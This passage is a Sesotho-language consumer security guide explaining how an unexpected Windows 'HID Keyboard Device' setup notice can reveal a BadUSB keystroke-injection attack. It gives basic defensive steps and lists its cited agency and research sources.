Ho bona Windows e bonts'a 'malo oa tsebiso ea toast "Ho theha sesebelisoa: HID Keyboard Device" ha o kentse ntho e itseng eseng keyboard (jwalo ka USB flash drive, thapo e tjhajang, fene ya deske e theko e tlase, foreimi ya difoto tsa dijithale, kapa tjhaja ya vape) ke sethunya sa # 1 se hlakileng sa ho tsuba sa BadUSB / HID Keystroke tlhaselo ea Ente. Ha ho na flash drive kapa thapo e nepahetseng e hlokang ho ingolisa le Windows joalo ka keyboard. Tlosa sesebelisoa hang-hang, u hakolle ho Wi-Fi, 'me u tsamaise PowerShell MathaMRU le PSReadLine e laela ho Mokhahlelo oa 2 ho bona hore na keyboard ea bohata e thaepile taelo efe.

Mehloli e hlahlobiloe¶

• Federal Bureau of Investigation (FBI) & Federal Communications Commission (FCC) (United States): Liphatlalatso tsa Ts'ebeletso ea Sechaba ka Likotsi tsa Seteishene sa Phatlalatsa sa USB sa Sechaba ("Ho Koakoa ha Lero") le Li-Implants tse kotsi tsa Hardware.
• Setsi sa Naha sa Tšireletso (NSA) & Setsi sa Tšireletso ea Cybersecurity le Infrastructures (CISA) (United States): Mekgwa e Molemo ka ho Fetisisa ya Sesebediswa sa Mehala: Ho Tsamaya ka Polokeho ka Mehala ya Mehala, Lilaptop, le Lithapo tsa USB.
• Univesithi ea Graz ea Theknoloji (TU Graz Sehlopha sa Lipatlisiso sa InfoSec): ChoiceJacking: Ho Sekisetsa Lisebelisoa tsa Mehala ka Lichaja tse Lonya ka Ente ea USB HID (USENIX Security Symposium).
• Tataiso ea Tšireletso ea Platform ea Apple: Mokhoa o thibetsoeng oa USB, ho fihlella ha lisebelisoa ha o notletsoe, le macOS Apple Silicon USB/Thunderbolt Accessory Authorization Architecture.
• Seboka sa Basebelisi ba USB (USB-IF): Tiiso ea USB Type-C, Phano ea Matla (USB PD), le Human Interface Device (HID Sehlopha sa 0x03) Litlhaloso.

Litataiso tse amanang¶

• Wi-Fi ea sechaba, libaka tse hotspots tsa Evil Twin, le ts'ireletso ea ho jella lero
• Ho koeteloa ha li-cookie tsa nakoana, malware a infostealer, le ho hlakoloa ha matšoao
• Stalkerware, spyware, le keylogger ho fumana lifono
• Tšoaetso ea Malware, ransomware, le spyware
• QR code phishing (quishing) le litsela tse lonya
• Linomoro tsa maemo a tshohanyetso ho ea ka linaha